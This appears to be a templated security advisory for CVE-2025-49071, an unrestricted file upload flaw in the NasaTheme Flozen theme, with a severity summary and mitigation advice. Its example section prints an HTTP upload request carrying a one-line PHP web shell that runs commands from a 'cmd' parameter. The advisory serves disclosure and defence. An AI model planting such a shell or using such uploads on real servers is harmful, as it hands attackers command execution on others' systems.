Overview
In the world of cybersecurity, maintaining the integrity of web servers is of utmost importance. However, a new vulnerability, CVE-2025-49071, has been discovered that could potentially compromise the systems of those using the NasaTheme Flozen product. The vulnerability allows unrestricted uploading of files with dangerous types, including an ability to upload a Web Shell to a Web Server. This not only poses a threat to the integrity of web servers and data but also potentially opens doors for cybercriminals to gain unauthorized access and control over the affected systems.
Vulnerability Summary
CVE ID: CVE-2025-49071
Severity: Critical (10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
NasaTheme Flozen | All versions
How the Exploit Works
The exploit leverages the unrestricted file upload vulnerability in NasaTheme Flozen. An attacker could upload a malicious web shell to the server, which would then give them the power to execute arbitrary commands. This could lead to a total system compromise, allowing the attacker to manipulate the system, exfiltrate sensitive data, or even use the compromised system as a launch pad for further attacks.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP POST request that uploads a malicious web shell file to the vulnerable endpoint:
POST /upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In the above example, a malicious PHP web shell is uploaded to the server. Once uploaded, the attacker can use the `cmd` parameter to execute any command on the server, leading to a complete system compromise.
Mitigation Guidance
Users are advised to apply patches provided by the vendor as soon as possible. In the absence of a patch or as a temporary mitigation, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block suspicious file uploads. Additionally, it’s recommended to limit file upload functionality to authenticated and trusted users only, and implement server-side file type verification, to further secure your systems against similar vulnerabilities.